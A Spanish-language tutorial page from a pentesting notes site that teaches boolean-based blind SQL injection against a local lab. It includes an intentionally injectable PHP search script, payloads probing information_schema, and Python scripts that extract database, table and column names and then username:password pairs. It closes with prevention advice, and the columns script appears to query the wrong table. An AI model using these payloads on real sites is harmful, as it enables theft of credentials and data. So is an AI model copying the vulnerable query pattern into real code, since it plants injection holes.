d4redevil
  • whoami
  • Active Directory
    • Enumeración
    • PowerShell para gestionar Active Directory
    • PowerView & SharpView
    • Ataques a Kerberos
    • Ataque de contraseñas
    • SMB Relay
    • Token Impersonation
    • Golden Ticket
    • LLMNR Poisoning
    • Mimikatz
    • Grupos privilegiados
    • LAPS
  • Linux
    • Enumeración
    • Escalación de privilegios
    • Transferencia de Archivos
  • Windows
    • Enumeración
    • Escalación de privilegios
      • SeImporsonate
      • SeDebugPrivilege
      • SeTakeOwnershipPrivilege
      • Backup Operators
      • DnsAdmins
    • Transferencia de Archivos
  • Scripting
    • Powershell
      • Introducción
      • Cmdlet
      • Alias
      • Comentarios
      • Comandos utiles
      • Variables
      • Tuberías (Pipes)
      • Operaciones
      • Estructuras Condicionales
  • OWASP TOP 10 y Vulnerabilidades Web
    • Inyecciones SQL
      • ¿Qué son las Inyecciones SQL?
      • Laboratorio
      • Inyecciones SQL basada en Uniones
      • Inyecciones SQL basadas en booleanos
      • Inyecciones SQL basadas en tiempo
  • Writeups
    • Hack The Box
      • Linux
        • 🟢Easy
        • 🟡Medium
          • Zipping
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
          • Devel
          • Grandpa
          • Granny
          • Jerry
          • Optimum
          • Legacy
          • Active
          • Sauna
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
    • The Hackers Labs
      • Linux
        • 🟢Principiante
          • Papaya
          • Can You Hack Me?
        • 🟡Avanzado
          • Runners
          • El Candidato
          • El Cliente
        • 🔴Profesional
        • ⚫Experto
          • ⚫Thlcppt_v16
      • Windows
        • 🟢Principiante
          • Cocido Andaluz
          • Ensalá Papas
        • 🟡Avanzado
        • 🔴Profesional
          • BlackGold
        • ⚫Experto
    • Dockerlabs
      • 🔵Muy fácil
      • 🟡Fácil
      • 🟠Medio
        • Database
      • 🔴Difícil
    • VulnHub
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
    • HackMyVM
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
  • Servicios Comunes
    • TCP
    • UDP
    • FTP (21)
    • SMB (445)
    • MySQL (3306)
    • MSSQL (1433)
  • Cheatsheet
    • Reconocimiento
    • Enumeración
    • Enumeración Web
    • Enumeración de CMS
    • Fuerza Bruta
    • Pivoting
    • Msfvenom
    • Utilidades
    • Fuerza bruta
    • Transferencia de Archivos
  • Contenedores
    • Docker
Con tecnología de GitBook
En esta página
  • Obtener las bases de datos
  • Obtener las tablas
  • Obtener las columnas
  • Obtener los datos
  • Conclusiones finales
  1. OWASP TOP 10 y Vulnerabilidades Web
  2. Inyecciones SQL

Inyecciones SQL basadas en booleanos

AnteriorInyecciones SQL basada en UnionesSiguienteInyecciones SQL basadas en tiempo

Última actualización hace 5 meses

¡Hola Hacker! Bienvenid@ a un nuevo artículo.

En este nuevo artículo de la serie de Inyecciones SQL, toca hablar como indica el título de las inyecciones SQL basadas en booleanos o también llamadas condicionales.

La inyección SQL basada en booleanos es una técnica utilizada en los ataques de inyección SQL para obtener información confidencial o manipular una base de datos. A diferencia de otros tipos de inyección SQL, que se basan en errores de sintaxis o de lógica, la inyección SQL basada en booleanos aprovecha las respuestas booleanas (verdadero/falso) de las consultas SQL para extraer información paso a paso.

A continuación, podemos ver el proceso básico de una inyección SQL basada en booleanos:

  1. Identificar el punto de inyección: El primer paso es identificar un punto de entrada en una aplicación web donde se puedan introducir parámetros en una consulta SQL. Esto puede ser a través de formularios, URL o cualquier otro método de interacción con la base de datos.

  2. Probar la inyección: Una vez identificado el punto de inyección, se deben realizar pruebas para determinar si la aplicación es vulnerable a la inyección SQL basada en booleanos. Por lo general, se utilizan consultas SQL maliciosas como ' OR 1=1 -- para verificar si la aplicación devuelve un resultado esperado o si muestra algún comportamiento anómalo.

  3. Enumerar la base de datos: Una vez confirmada la vulnerabilidad, se procede a extraer información de la base de datos utilizando técnicas de fuerza bruta o basadas en booleanos. La técnica basada en booleanos implica realizar una serie de consultas condicionales con valores verdaderos (1=1) y falsos (1=0) para determinar la veracidad de ciertas afirmaciones sobre la estructura y los datos de la base de datos.

  4. Obtener información sensible: Utilizando consultas condicionales, se pueden extraer gradualmente detalles sensibles, como nombres de tablas, nombres de columnas y datos confidenciales almacenados en la base de datos. Esto se logra mediante el análisis de las respuestas booleanas de la aplicación a las consultas SQL manipuladas.

Como podemos ver, el proceso es similar a las demás inyecciones SQL, solo que la forma de probar y realizar la enumeración varia.

Para demostrar esta inyección SQL, utilizaremos el sciript posts.php el cual toma el parámetro search por GET y realiza una búsqueda de todos los artículos que contengan esa palabra como parte del título.

vim posts.php
<?php
$server = "127.0.0.1";
$username = getenv('MYSQL_USER');
$password = getenv('MYSQL_PASSWORD');
$database = getenv('MYSQL_DATABASE');

function print_query($query) {
	echo "<div style='background-color: #000; color: #fff; padding: 1rem;'>
		<h2>Consulta SQL</h2>
		<code><pre>$query</pre></code>
	</div>";
}

$conn = new mysqli($server, $username, $password, $database);
$conn->set_charset("utf8");

if ($conn->connect_error) die('Error al conectarse a la base de datos: ' . $conn->connect_error);

$search = isset($_GET['search']) && !empty($_GET['search']) ? $_GET['search'] : '';
$query = "SELECT id, title, content, author, publication_date FROM posts WHERE title LIKE '%$search%'";

print_query($query);

$res = mysqli_query($conn, $query);

if (mysqli_num_rows($res)) {
	while($row = mysqli_fetch_assoc($res)) {
		echo "<p><b>Title:</b> " . $row['title'] . "</p>";
		echo "<p><b>Content:</b> " . $row['content'] . "</p>";
		echo "<p><b>Author:</b> " . $row['author'] . "</p>";
		echo "<p><b>Publication Date:</b> " . date('d-m-Y', strtotime($row['publication_date'])) . "</p>";
		echo "<hr>";
	}
}

mysqli_close($conn);

En este caso, si no pasamos ningun parámetro nos devuelve todos los posts.

En el recuadro negro podemos ver en todo momento la consulta SQL generada.

Si pasamos el parámetro search con el valor de running devuelve el siguiente resultado:

Si pasamos por ejemplo el valor de daily devuelve lo siguiente:

Ahora que tenemos claro como funciona el script, comenzemos con la explotación de la inyección SQL.

Algunas veces no tenemos la salida de errores de consulta, como si teniamos en el artículo de inyecciones basadas en uniones, por lo que estamos a ciegas. En este caso, podemos hacer uso de las inyecciones basadas en booleanos.

http://localhost/posts.php?search=test%27%20OR%201=1--%20-

Esta consulta de ejecuta en SQL de la siguiente forma:

SELECT id, title, content, author, publication_date FROM posts WHERE title LIKE '%test' OR 1=1 -- -%'

Devolviendo en este caso todos los artículos.

Obtener las bases de datos

Para obtener las Bases de Datos utilizando este tipo de inyecciones SQL, es un poco más trabajoso que usando consultas basadas en uniones, pero podemos lograrlo.

Lo haremos utilizando la siguiente consulta.

test' OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),1,1) FROM information_schema.schemata )) = 105) -- -

Para poder entender de donde salen cada una de las partes que componen la consulta SQL y no abrumarnos, la dividiremos en secciones.

Para la explicación de esta consulta, usare la consola de MYSQL.

Como sabemos:

  • information_schema Base de datos que almacena información de la esctructura de todas las base de datos

  • schemata Tabla que almacena las base de datos existentes

  • schema_name Campo que almacena el nombre de la base de datos

Obtenemos todas las bases de datos

SELECT schema_name FROM information_schema.schemata;
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata;

La cláusula GROUP_CONCAT de MySQL se usa para concatenar valores de varias filas en un solo valor. Es útil cuando queremos combinar valores relacionados en una sola cadena.

SELECT SUBSTRING(GROUP_CONCAT(schema_name), 1, 1) FROM information_schema.schemata;

La función SUBSTRING(GROUP_CONCAT(schema_name), 1, 1) extrae el primer carácter del resultado devuelto por GROUP_CONCAT en este caso la letra i que corresponde al primer caracter de la base de datos information_schema.

Utilizamos la función ASCII porque permite obtener el valor ASCII de un carácter específico en una cadena. Este enfoque es útil en ataques de inyección SQL tipo Blind para extraer datos de forma lenta pero efectiva.

Para consultar el valor ascii de un caracter podemos hacerlo con el siguiente comando:

man ascii

Por ultimo, solo queda evaluar el resultado comparando el valor devuelto por la función ASCII y el valor a comparar, en este caso la letra i valor ascii 105.

Ahora que tenemos claras cada una de las partes que componen nuestra consulta, podemos entender mejor la inyección SQL.

SELECT id, title, content, author, publication_date FROM posts WHERE title LIKE '%test' OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),1,1) FROM information_schema.schemata )) = 105)-- -%'

Cómo vemos, lo que hace es buscar un post que contenga en el título la palabra test, como no existe ninguno, se ejecuta nuestra consulta SQL la cual da como resultado verdadero, devolviendo de esta manera todos los artículos.

Podemos probar esto ingresando como valor un valor ascii de 102 correspondiente a la letra h, vemos que efectivamente no devuelve ningun resultado.

Como habras notado, realizar este proceso de forma manual se vuelve un poco tedioso, por lo que podemos montarnos un pequeño script en Python que nos devuelva todas las bases de datos.

#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

main_url = "http://localhost/posts.php"

def makeSQLi():
	p1 = log.progress("SQL Injection")
	p1.status("Obteniendo las bases de datos")
	
	time.sleep(2)

	p2 = log.progress("Datos extraídos")
	extracted_info = ""

	for position in range(1, 150):
		for character in range(33, 127):
			sqli_url = main_url + "?search=test' OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),%d,1) FROM information_schema.schemata )) = %d)-- -" % (position, character)
			p1.status(sqli_url)
            		
			res = requests.get(sqli_url)
		
			if 'Running' in res.text:
				extracted_info += chr(character)
				p2.status(extracted_info)
				break            

if __name__ == '__main__':
    makeSQLi()

Ejecutamos el script:

Observamos que logramos obtener todas las bases de datos de forma exitosa.

Antes de continuar para obtener las tablas, expliquemos el script anterior.

Importación de los modulos

import requests
import time
from pwn import *
  • requests: Realiza solicitudes HTTP para interactuar con la aplicación web.

  • time: Introduce retardos para simular un proceso progresivo.

  • pwn: Una biblioteca de explotación que incluye utilidades para formatear salidas (log.progress).

URL Objetivo

main_url = "http://localhost/posts.php"

Especifica la URL del endpoint vulnerable que será atacado.

Función Principal

def makeSQLi():

Esta función realiza la inyección SQL para extraer información.

p1 = log.progress("SQL Injection")
p1.status("Obteniendo las bases de datos")
time.sleep(2)
  • log.progress: Crea una barra de progreso para informar al usuario.

  • p1.status: Muestra el estado actual ("Obteniendo las bases de datos").

  • time.sleep(2): Añade un retraso de 2 segundos antes de comenzar.

Preparación para extraer datos

p2 = log.progress("Datos extraídos")
extracted_info = ""
  • p2: Otra barra de progreso para mostrar los datos extraídos.

  • extracted_info: Variable donde se almacenarán los resultados obtenidos de la inyección SQL.

Bucle principal para extraer caracteres

for position in range(1, 150):
	for character in range(33, 127):
		sqli_url = main_url + "?search=test' OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),%d,1) FROM information_schema.schemata )) = %d)-- -" % (position, character)
		p1.status(sqli_url)
            		
		res = requests.get(sqli_url)
		
		if 'Running' in res.text:
			extracted_info += chr(character)
			p2.status(extracted_info)
			break
  • Primer bucle (for position in range(1, 150):):

    • Itera por las posiciones de los caracteres en los nombres concatenados de las bases de datos.

    • Suponemos que el resultado puede tener hasta 150 caracteres (este número puede variar dependiendo de las necesidades).

  • Segundo bucle (for character in range(33, 127):):

    • Itera por los valores ASCII imprimibles (33 a 126) para determinar cada carácter.

  • Construcción de la URL inyectada:

    • La inyección SQL es:

test' OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),{position},1) FROM information_schema.schemata)) = {character})-- -
  • GROUP_CONCAT(schema_name): Obtiene todos los nombres de bases de datos en una sola cadena.

  • SUBSTRING(..., position, 1): Extrae un carácter en la posición position.

  • ASCII(...): Convierte el carácter extraído a su valor ASCII.

  • ... = {character}: Compara el valor ASCII del carácter con el actual del bucle.

  • Solicitud HTTP:

    • Envía la URL inyectada usando requests.get(sqli_url).

  • Validación del resultado:

    • Si la respuesta contiene la palabra clave 'Running', indica que la condición booleana fue verdadera.

    • Se guarda el carácter correspondiente en extracted_info y se actualiza la barra de progreso.

  • Salida del bucle:

    • Cuando se encuentra un carácter válido, se rompe el segundo bucle y se pasa a la siguiente posición.

Una vez completados los bucles, extracted_info contendrá los nombres de las bases de datos extraídos.

Obtener las tablas

Para obtener las tablas en este caso de la base de datos app_db utilizaremos un proceso similar.

#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

main_url = "http://localhost/posts.php"

def makeSQLi():
	p1 = log.progress("SQL Injection")
	p1.status("Obteniendo las tablas de la base de datos: app_db")
	
	time.sleep(2)

	p2 = log.progress("Datos extraídos")
	extracted_info = ""

	for position in range(1, 150):
		for character in range(33, 127):
			sqli_url = main_url + "?search=test' OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(table_name),%d,1) FROM information_schema.tables WHERE table_schema='app_db')) = %d)-- -" % (position, character)
			p1.status(sqli_url)
            		
			res = requests.get(sqli_url)
		
			if 'Running' in res.text:
				extracted_info += chr(character)
				p2.status(extracted_info)
				break            

if __name__ == '__main__':
    makeSQLi()

Obviamente este script podemos hacerle muchas mejoras, como por ejemplo que el parámetro de la base de datos sea dinámico y realizar algun que otro control. Pero para fines practicos es mejor mantenerlo lo más sencillo posible.

Ejecutamos el script:

Obtener las columnas

Para obtener las columnas en este caso de la tabla users lo haremos de una manera similar, utilizando la tabla information_schema.columns.

#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

main_url = "http://localhost/posts.php"

def makeSQLi():
	p1 = log.progress("SQL Injection")
	p1.status("Obteniendo las tablas de la base de datos: app_db")
	
	time.sleep(2)

	p2 = log.progress("Datos extraídos")
	extracted_info = ""

	for position in range(1, 150):
		for character in range(33, 127):
			sqli_url = main_url + "?search=test' OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(column_name),%d,1) FROM information_schema.tables WHERE table_schema='app_db' AND table_name='users')) = %d)-- -" % (position, character)
			p1.status(sqli_url)
            		
			res = requests.get(sqli_url)
		
			if 'Running' in res.text:
				extracted_info += chr(character)
				p2.status(extracted_info)
				break            

if __name__ == '__main__':
    makeSQLi()

Ejecutamos el script:

De esta forma logramos obtener las columnas de la tabla users.

Por ultimo, nos queda obtener los datos de la tabla.

Pero esto será un trabajo más sencillo, ya que conocemos el nombre de la base de datos, la tabla y las columnas.

Obtener los datos

#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

main_url = "http://localhost/posts.php"

def makeSQLi():
	p1 = log.progress("SQL Injection")
	p1.status("Obteniendo los usuarios de la tabla: app_db.users")
	
	time.sleep(2)

	p2 = log.progress("Datos extraídos")
	extracted_info = ""

	for position in range(1, 150):
		for character in range(33, 127):
			sqli_url = main_url + "?search=test' OR (SELECT ASCII((SELECT SUBSTRING(GROUP_CONCAT(username,0x3a,password),%d,1) FROM app_db.users)) = %d)-- -" % (position, character)
			p1.status(sqli_url)
            		
			res = requests.get(sqli_url)
		
			if 'Running' in res.text:
				extracted_info += chr(character)
				p2.status(extracted_info)
				break            

if __name__ == '__main__':
    makeSQLi()

Ejecutamos el script:

De esta manera, logramos obtener los usuarios.

Así concluimos este artículo.

Conclusiones finales

Como demostramos a lo largo de este artículo, las inyecciones SQL basadas en booleanos explotan las respuestas de la base de datos a consultas con condiciones lógicas (como AND y OR) para determinar si ciertas condiciones son verdaderas o falsas. Este ataque permite al atacante obtener información de la base de datos sin exponerla directamente, manipulando la consulta para que se evalúe como verdadera o falsa.

Para prevenir este tipo de ataques, es clave:

  1. Validación de entradas: Usar consultas parametrizadas.

  2. Principio de menor privilegio: Restringir los permisos de acceso.

  3. Monitoreo de consultas: Detectar patrones anómalos en las consultas.

Espero que estés disfrutando de esta serie de artículos y que la información te sea útil. Si te ha gustado, te animo a compartirla con otros para que más personas puedan beneficiarse.

Si encuentras algún error o tienes sugerencias para mejorar, no dudes en hacérmelo saber. Estoy siempre abierto a tus comentarios.

¡Gracias por leer!

¡Happy Hacking!

Creamos el script dentro de la carpeta app de nuestro .

laboratorio